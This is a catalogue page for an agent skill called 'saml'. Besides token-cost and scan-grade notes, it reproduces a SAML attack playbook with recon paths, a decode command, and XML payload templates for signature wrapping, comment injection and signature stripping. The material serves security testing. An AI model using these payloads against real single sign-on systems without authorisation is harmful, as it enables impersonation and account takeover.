saml

saml is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 40 tokens per session (1,429 once invoked), scanned A, a copy of saml, Apache-2.0.

A security testing guide for SAML 2.0, an XML-based standard used for enterprise single sign-on. It covers attacks that confuse signature validation or alter signed login assertions.

In plain words
What is it for?
It is for examining SAML login flows, decoding requests and responses, testing XML signature-wrapping variants, and checking assertion and metadata validation.
Why use it?
It helps find login flaws caused by ambiguous XML structure, missing signature checks, or unsafe identity-provider metadata handling.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

saml scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

SAML Attack Playbook

SAML is XML-based SSO used heavily in enterprise. Signatures protect assertions but XML's structural flexibility creates many opportunities to confuse signature validators.

1. Capture the flow

# Identify SAML in recon — look for:
# - /SAML/login, /sso/saml, /saml2/login
# - Form param "SAMLRequest" or "SAMLResponse" (base64 + deflate)
# - SP metadata: /SAML/metadata, /sp/metadata.xml
# - IdP metadata: /idp/metadata.xml

# Decode a SAML message in Burp via the SAML Raider plugin
# Or manually
echo "$SAMLResponse_base64" | base64 -d | xmllint --format -

2. XML Signature Wrapping (XSW) attacks

The classic SAML bug class. 8 canonical variants. SAML Raider implements all of them.

XSW1: Wrap signed Assertion inside Response, add evil assertion

<Response>
  <ds:Signature>...</ds:Signature>  <!-- signs the inner Assertion -->
  <Assertion id="evil">
    <Subject>attacker</Subject>
    <AttributeStatement>...</AttributeStatement>
  </Assertion>
  <!-- original signed assertion moved into a deeper child or as sibling of evil -->
  <Assertion id="orig">
    <Subject>victim</Subject>
    ...
  </Assertion>
</Response>

Parser-checks-signature on orig (still valid). App-reads-claims from evil (first assertion). Bypass complete.

XSW2-8

Vary which element is signed, what gets added where, what gets renamed. Run all 8 via SAML Raider's automated XSW tester.

3. Comment injection

SAML libraries that strip XML comments BEFORE signature validation but the application reads the un-stripped version (or vice versa):

<Subject>[email protected]<!-- foo -->.evil.com</Subject>

Some parsers see [email protected]; others see [email protected].

Famous: Cisco DUO + others in 2018 (CVE-2018-0489).

4. Signature stripping

Just delete the <ds:Signature> element. Some servers fail to enforce signature presence.

5. Self-signed assertion (when allowed by misconfig)

Some SPs accept assertions from any IdP listed in their trust store. If the trust store is overly broad, attacker stands up own IdP, generates own cert, IdP signs assertion claiming victim identity.

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
